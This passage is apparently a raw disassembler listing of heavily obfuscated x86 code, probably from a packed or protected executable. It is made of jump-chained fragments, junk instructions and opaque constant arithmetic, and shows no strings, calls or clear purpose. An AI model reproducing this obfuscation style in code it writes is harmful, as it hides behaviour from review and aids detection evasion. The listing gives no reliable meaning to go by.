; FUNCTION CHUNK AT 0059DBCC SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A7B7C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A8BD1 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A9FE8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005ABBA2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AD9C4 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, 5374157Bh
		jmp	loc_59BE53
sub_59F074	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_59F07F:				; CODE XREF: sub_5A118F+70C9j
		push	eax
		mov	ah, 0FAh
		mov	dh, ah
		pop	eax
		push	cx
		mov	cl, ah
		mov	ah, dh
		mov	dh, cl
		pop	cx
		jmp	loc_5A62EC
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59F094:				; CODE XREF: sub_5A2E28-938j
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		jmp	loc_59F045
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_59F0A3:				; CODE XREF: sub_5A913B+1F4Dj
		mov	[esp+0], eax
		jmp	loc_5A606A
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0327


loc_59F0AB:				; CODE XREF: sub_5A0327+15j
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp+4+var_4]
		pop	esp
		push	ebx
		push	eax
		mov	ah, dl
		mov	bl, ah
		pop	eax
		jmp	loc_5A4A97
; END OF FUNCTION CHUNK	FOR sub_5A0327
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA5F6


loc_59F0C7:				; CODE XREF: sub_5AA5F6+276Dj
		pop	ecx
		sub	al, bh
		push	ecx
		push	ebx
		mov	bl, 0B3h
		neg	bl
		jmp	loc_5AC613
; END OF FUNCTION CHUNK	FOR sub_5AA5F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59F0D5:				; CODE XREF: sub_5A6BBC:loc_599237j
		xor	cl, 94h
		push	edx
		mov	dl, 0Ch
		and	dl, 2
		jmp	loc_59F675
; END OF FUNCTION CHUNK	FOR sub_5A6BBC

; =============== S U B	R O U T	I N E =======================================



sub_59F0E3	proc near		; DATA XREF: sdfs____:00599068o
		push	dword ptr [edi+40h]
		jmp	loc_59910F
sub_59F0E3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59F0EB:				; CODE XREF: sub_5992DA+302Ej
		xor	[esp+28h+var_2A+2], edi
		xor	edi, [esp+28h+var_2A+2]
		mov	esp, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_5A6CC9
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_59F0FC:				; CODE XREF: sdfs____:005A252Cj
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		jmp	loc_5A8860
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABEF6


loc_59F10B:				; CODE XREF: sub_5ABEF6-6751j
		mov	eax, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], ebx
		push	esi
		mov	esi, esp
		push	edi
		jmp	loc_5A531E
; END OF FUNCTION CHUNK	FOR sub_5ABEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2166


loc_59F126:				; CODE XREF: sub_5A2166-7962j
		mov	[esp-4+arg_0], ecx
		jmp	loc_59BD33
; END OF FUNCTION CHUNK	FOR sub_5A2166
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_59F12E:				; CODE XREF: sub_5A35F6:loc_59C004j
					; sub_599A61+CD0Cj
		jmp	loc_5A75E0
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A71F0


loc_59F133:				; CODE XREF: sub_5A71F0+27j
		mov	esi, 75B62E55h
		sub	eax, esi
		pop	esi
		jmp	loc_5A1E0B
; END OF FUNCTION CHUNK	FOR sub_5A71F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_59F140:				; CODE XREF: sub_5A16B8+29D3j
		sub	edx, 4D49565Ch
		jmp	loc_59933C
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F14B:				; CODE XREF: sub_5AA2D1-7791j
		mov	[esp-14h+arg_10], ebp
		mov	ebp, 9FD7FE1h
		sub	edi, ebp
		pop	ebp
		sub	edi, edx
		add	edi, 9FD7FE1h
		pop	edx
		not	edi
		sub	edi, 8A31DFF4h
		jmp	loc_59FD62
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59F16C:				; CODE XREF: sub_5A477C-800Ej
		push	366Dh
		mov	[esp-4+arg_0], eax
		jmp	loc_5AD9C9
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F179:				; CODE XREF: sub_5AA810:loc_59F7FBj
					; sub_5AA2D1-75EAj
		mov	ecx, 6CA5919h
		add	edi, ecx
		pop	ecx
		sub	edi, 19DF559Fh
		jmp	loc_5AFE61
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_59F18C	proc near		; CODE XREF: sub_5AD243-10032j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059A41D SIZE 0000003B BYTES
; FUNCTION CHUNK AT 005A57E0 SIZE 00000012 BYTES

		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_59A41D
sub_59F18C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_59F19A:				; CODE XREF: sub_5A3992-838Cj
		dec	edi
		jmp	loc_5AAE09
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59F1A0:				; CODE XREF: sub_5992DA+ACD1j
					; sub_5B01F7-4BEAj
		pop	esp
		and	eax, ecx
		push	[esp+20h+var_22+2]
		pop	ecx
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+20h+var_22+2], eax
		sub	esp, 4
		mov	[esp+24h+var_26+2], esi
		jmp	loc_5AEE4A
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_59F1C3	proc near		; CODE XREF: sub_59A94C-BDFj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AAF4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D9B2 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059F90F SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059FB73 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0F3B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A0FB0 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005A272B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4090 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A6156 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A6B2F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A742A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005ADA42 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		pop	esp
		push	0EB4h
		jmp	loc_5A6156
sub_59F1C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_59F1F3	proc near		; CODE XREF: sub_59FC02-B7j
					; sub_5AC803-3CF5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059A8B2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059AD89 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059CB94 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A336B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A35B4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3650 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A52D9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A68C3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A769B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A76B1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7B4C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9836 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005AAE6C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AC370 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AD546 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AD6CA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AE1BC SIZE 00000028 BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], edi
		mov	edi, 5FEA6DE2h
		jmp	loc_5A769B
sub_59F1F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59F206:				; CODE XREF: sub_5A2E28-8261j
		mov	ebx, [esp+0]
		add	esp, 4
		push	edi
		push	ebp
		jmp	loc_5A99B5
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59F216:				; CODE XREF: sub_59EE3E-1133j
		sub	edx, 60DC5EBFh
		mov	esi, edx
		mov	edx, [esp+4+var_4]
		jmp	loc_5A09AD
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59F226:				; CODE XREF: sub_59D6B8-865j
		sub	byte ptr [esp+0Ch+var_C], al
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_59F22F:				; CODE XREF: sub_5AB207-25D2j
		add	edi, 4
		jmp	loc_59DC7C
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_59F23A:				; CODE XREF: sub_5A3992-1048j
		sub	eax, ebx
		sub	eax, 477312FEh
		push	[esp+8+var_8]
		pop	ebx
		add	esp, 4
		mov	ecx, [esp+4+var_4]
		jmp	loc_5A9271
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F253:				; CODE XREF: sub_5A7BA0-259Ej
					; sub_5AA2D1-607j
		add	[esp-20h+arg_20], edi
		jmp	loc_5A3AC7
; ---------------------------------------------------------------------------


loc_59F25C:				; CODE XREF: sub_5AA2D1-E38Dj
		push	eax
		push	esi
		mov	esi, 33183897h
		sub	esi, 0BCD1D6EEh
		mov	eax, esi
		pop	esi
		add	ebx, eax
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp-8+arg_4], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		jmp	loc_5A635F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59F28D:				; CODE XREF: sub_5992DA+1CDDj
		xor	dh, 1Ah
		mov	ah, dh
		pop	edx
		jmp	loc_59EBD5
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F298:				; CODE XREF: sub_5AA2D1-7B9j
		mov	[esp-4+arg_0], ecx
		mov	ecx, 59AC6CA3h
		xor	ecx, 169735B2h
		not	ecx
		jmp	loc_5A9227
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_59F2AD:				; CODE XREF: sdfs____:005A34B2j
		push	edi
		mov	edi, 4C520098h
		add	ebp, edi
		pop	edi
		xor	ebp, 32FC077Ch
		xor	ebp, 0F4810E7Bh
		jmp	loc_59A74F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB08D


loc_59F2C7:				; CODE XREF: sub_5AB08D-111D8j
		pop	edx
		add	ebp, eax
		pop	eax
		push	esi
		jmp	loc_5AFF8E
; END OF FUNCTION CHUNK	FOR sub_5AB08D

; =============== S U B	R O U T	I N E =======================================



sub_59F2D1	proc near		; CODE XREF: sub_5A477C+E4j
					; sub_5A477C+A476j
					; DATA XREF: ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599222 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599689 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A5C2 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059C9C6 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059CDB4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A1234 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A16C1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A73BB SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005AAA8D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AD162 SIZE 00000016 BYTES

		mov	ax, [esp+0]
		push	310Dh
		mov	[esp+4+var_4], ebp
		sub	esp, 4
		mov	[esp+8+var_8], esp
		push	edx
		jmp	loc_5A73BB
sub_59F2D1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59F2E9:				; CODE XREF: sub_5992DA+15F9Cj
		shl	ebp, 5
		add	ebp, 0D2459004h
		jmp	loc_5A4980
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_59F2F7:				; CODE XREF: sub_5A917C-B932j
		push	[esp+10h+var_C]
		jmp	loc_5A3321
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE40A


loc_59F300:				; CODE XREF: sub_5AE40A-1447Aj
		add	ebp, edi
		pop	edi
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		pop	esp
		push	3C33h
		mov	[esp+4+var_4], ecx
		push	esi
		mov	esi, 4
		mov	ecx, esi
		jmp	loc_5AE9F4
; END OF FUNCTION CHUNK	FOR sub_5AE40A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F322:				; CODE XREF: sub_5AA2D1:loc_5A7B23j
		xor	ebp, 0EDFFEB8Bh
		mov	edx, ebp
		pop	ebp
		sub	esi, 406F1677h
		jmp	loc_5AE595
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_59F336	proc near		; DATA XREF: sdfs____:00598EFCo

; FUNCTION CHUNK AT 005A416A SIZE 00000005 BYTES

		push	dword ptr fs:[edx]
		jmp	loc_5A416A
sub_59F336	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_59F33E:				; CODE XREF: sub_599D0E+F1B9j
		pop	edx
		sub	bl, dl
		sub	bl, 51h
		pop	dx
		push	eax
		mov	al, 0E5h
		sub	bl, al
		pop	eax
		sub	bl, 2Dh
		sub	bl, al
		push	edx
		mov	dl, 41h
		shr	dl, 1
		xor	dl, 0Dh
		add	bl, dl
		pop	edx
		push	ecx
		mov	cl, 0F7h
		inc	cl
		dec	cl
		jmp	loc_5A2B53
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21A4


loc_59F368:				; CODE XREF: sub_5A21A4+B0C1j
		push	[esp-8+arg_8]
		pop	ebx
		pop	[esp-8+arg_4]
		pop	esp
		jmp	loc_5A7890
; END OF FUNCTION CHUNK	FOR sub_5A21A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59F376:				; CODE XREF: sub_5992DA+B7ADj
		sub	ecx, 66B078C8h
		shr	ecx, 3
		jns	loc_5A2EED
		sub	ecx, 0E344CF1h
		and	ecx, 1EFE3C45h
; END OF FUNCTION CHUNK	FOR sub_5992DA
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F391:				; CODE XREF: sub_5AA2D1-F68Fj
		pop	eax
		sub	eax, 3403427Dh
		jmp	loc_5A9767
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CF3


loc_59F39C:				; CODE XREF: sub_5A4CF3+7C2j
		mov	edi, 4
		add	[esp+arg_0], edi
		pop	edi
		mov	edx, [esp-4+arg_0]
		jmp	loc_5AFD26
; END OF FUNCTION CHUNK	FOR sub_5A4CF3

; =============== S U B	R O U T	I N E =======================================



sub_59F3AE	proc near		; CODE XREF: sub_59EE3E-3049j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A6C59 SIZE 0000000A BYTES

		sub	esp, 4
		jmp	loc_5A6C59
sub_59F3AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_59F3B6	proc near		; CODE XREF: sub_5AA2D1:loc_5A8707j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00599392 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005A4C05 SIZE 0000004E BYTES
; FUNCTION CHUNK AT 005AC2FC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AC70F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ACF82 SIZE 00000010 BYTES

		push	ebp
		mov	ebp, 5AB24E4Ah
		and	edx, ebp
		pop	ebp
		add	edx, 347F6F6Ah
		jmp	loc_5ACF82
sub_59F3B6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59F3CA:				; CODE XREF: sub_5992DA+F971j
		sub	edx, 2D5C2663h
		push	ebp
		mov	ebp, 413417EBh
		add	edx, ebp
		pop	ebp
		pop	ebx
		not	edx
		inc	edx
		add	edx, 0CCAB9A16h
		and	ebx, edx
		push	[esp-8+arg_4]
		pop	edx
		add	esp, 4
		jmp	loc_5AC1E7
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59F3F1:				; CODE XREF: sub_59D6B8+D525j
		xchg	edi, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		pop	esp
		push	138Fh
		mov	[esp+8+var_8], ebx
		mov	ebx, 4
		sub	eax, 610516A9h
		add	eax, ebx
		add	eax, 610516A9h
		jmp	loc_5A94F4
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0266


loc_59F430:				; CODE XREF: sub_5B0266+28j
		push	esp
		push	[esp+4+var_4]
		pop	eax
		add	esp, 4
		push	82Fh
		mov	[esp+4+var_4], ecx
		push	4
		pop	ecx
		add	eax, ecx
		push	[esp+4+var_4]
		pop	ecx
		push	eax
		jmp	loc_59C2B1
; END OF FUNCTION CHUNK	FOR sub_5B0266
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F455:				; CODE XREF: sub_5AA2D1+184Cj
		pop	eax
		add	[esp-14h+arg_14], eax
		mov	eax, [esp-14h+arg_10]
		push	edx
		jmp	loc_5A59B8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_59F463	proc near		; CODE XREF: sub_59A9E9+11693j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A3AB4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3D11 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005ABA38 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AD388 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AE2AC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AF8D7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AFB4E SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_5A3D11
sub_59F463	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3D5B


loc_59F46E:				; CODE XREF: sub_5A3D5B+742j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A3D5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EB4


loc_59F473:				; CODE XREF: sub_5A9EB4-F53Ej
		xchg	edi, [edx+38h]
		xor	[edx+38h], ecx
		xor	ecx, [edx+38h]
		xor	[edx+38h], ecx
		not	ecx
		xor	[edx+38h], ecx
		xor	ecx, [edx+38h]
		xor	[edx+38h], ecx
		inc	dword ptr [edx+38h]
		jmp	sub_5A2E41
; END OF FUNCTION CHUNK	FOR sub_5A9EB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_59F492:				; CODE XREF: sub_5A522E+504Ej
		not	edi
		jmp	loc_59F622
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_59F499:				; CODE XREF: sub_59D37E:loc_5997DEj
		add	ebp, 0A0B3E48Dh
		mov	esi, ebp
		jmp	loc_5A1A2A
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59F4A6:				; CODE XREF: sub_59C979+1AC5j
		or	eax, 685C347Ah
		sub	eax, 27FF828h
		and	edi, eax
		jmp	loc_59C202
; ---------------------------------------------------------------------------


loc_59F4B7:				; CODE XREF: sub_59C979+DC8Aj
		pop	[esp+6+var_6]
		mov	esp, dword ptr [esp+2+var_2]
		add	byte ptr [esp+2+var_2],	al
		pushf
		jmp	loc_5A0FAB
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------


loc_59F4C6:				; CODE XREF: sdfs____:0059A751j
		pop	ebp
		add	ecx, 0FFFFFFFFh
		shr	ecx, 6
		jmp	loc_5A065F

; =============== S U B	R O U T	I N E =======================================



sub_59F4D2	proc near		; CODE XREF: sub_5AA2D1-94B3j

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00599CDE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059B848 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059DE59 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059E1AD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0C2A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A1CE3 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A22F9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A3282 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A5311 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6810 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A82C4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A9124 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AA6B9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB85C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005ABBB8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005ACD73 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AE483 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AF1A3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AFC2E SIZE 00000006 BYTES

		push	ebp
		jmp	loc_5A82C4
sub_59F4D2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A94C


loc_59F4D8:				; CODE XREF: sub_59A94C+21j
		push	[esp+8+var_8]
		pop	ebx
		jmp	loc_5AD2DA
; ---------------------------------------------------------------------------


loc_59F4E1:				; CODE XREF: sub_59A94C+14792j
		pop	edx
		sub	ebp, 0BFBB9FADh
		add	ebx, ebp
		jmp	loc_599D6A
; END OF FUNCTION CHUNK	FOR sub_59A94C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_59F4EF:				; CODE XREF: sub_59FE51+3D19j
		pop	edx
		jmp	loc_5A6E39
; END OF FUNCTION CHUNK	FOR sub_59FE51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_59F4F5:				; CODE XREF: sub_59FC02-3865j
		shr	ebp, 6
		jmp	loc_5AA1D2
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59F4FD:				; CODE XREF: sub_5A0FFF+6504j
		push	4D88h
		mov	[esp+6+var_8+2], esi
		jmp	sub_5AD84A
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_59F50A:				; CODE XREF: sub_5A8215+6C73j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		and	ebp, 77EF204Ah
		push	24ACh
		mov	[esp+8+var_8], edx
		mov	edx, 2205304Ah
		xor	ebp, edx
		jmp	loc_5A8501
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F533:				; CODE XREF: sub_5AA2D1+35F6j
		jmp	loc_5ACE00
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB65


loc_59F538:				; CODE XREF: sub_5ABB65-2D37j
		mov	[esp+8+var_8], edx
		jmp	loc_5ACDBA
; END OF FUNCTION CHUNK	FOR sub_5ABB65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_59F540:				; CODE XREF: sub_5A580F+7BCAj
		sub	edx, 0AD7A8C0Fh
		neg	edx
		xchg	edi, edx
		not	edi
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		push	ebp
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 42874D10h
		jmp	loc_59EBC3
; END OF FUNCTION CHUNK	FOR sub_5A580F

; =============== S U B	R O U T	I N E =======================================



sub_59F566	proc near		; CODE XREF: sub_5AF46F-66C7j

; FUNCTION CHUNK AT 0059A888 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CA41 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A9390 SIZE 0000001D BYTES

		push	ebp
		jmp	loc_5A9390
sub_59F566	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_59F56C:				; CODE XREF: sub_5A79BE-CE75j
		mov	esi, 56CE7DB9h
		sub	ecx, esi
		pop	esi
		jmp	loc_5A55E3
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_59F579:				; CODE XREF: sub_5A2E41+469Ej
		add	al, cl
		pop	ecx
		push	ebx
		mov	bl, 0F3h
		add	al, bl
		pop	ebx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		push	78CFh
		mov	[esp+14h+var_14], ecx
		push	7258h
		jmp	loc_5A28D5
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------


loc_59F59A:				; CODE XREF: sdfs____:005A4760j
		push	674Bh
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	dword ptr [esp+4], 3ABF7CBCh
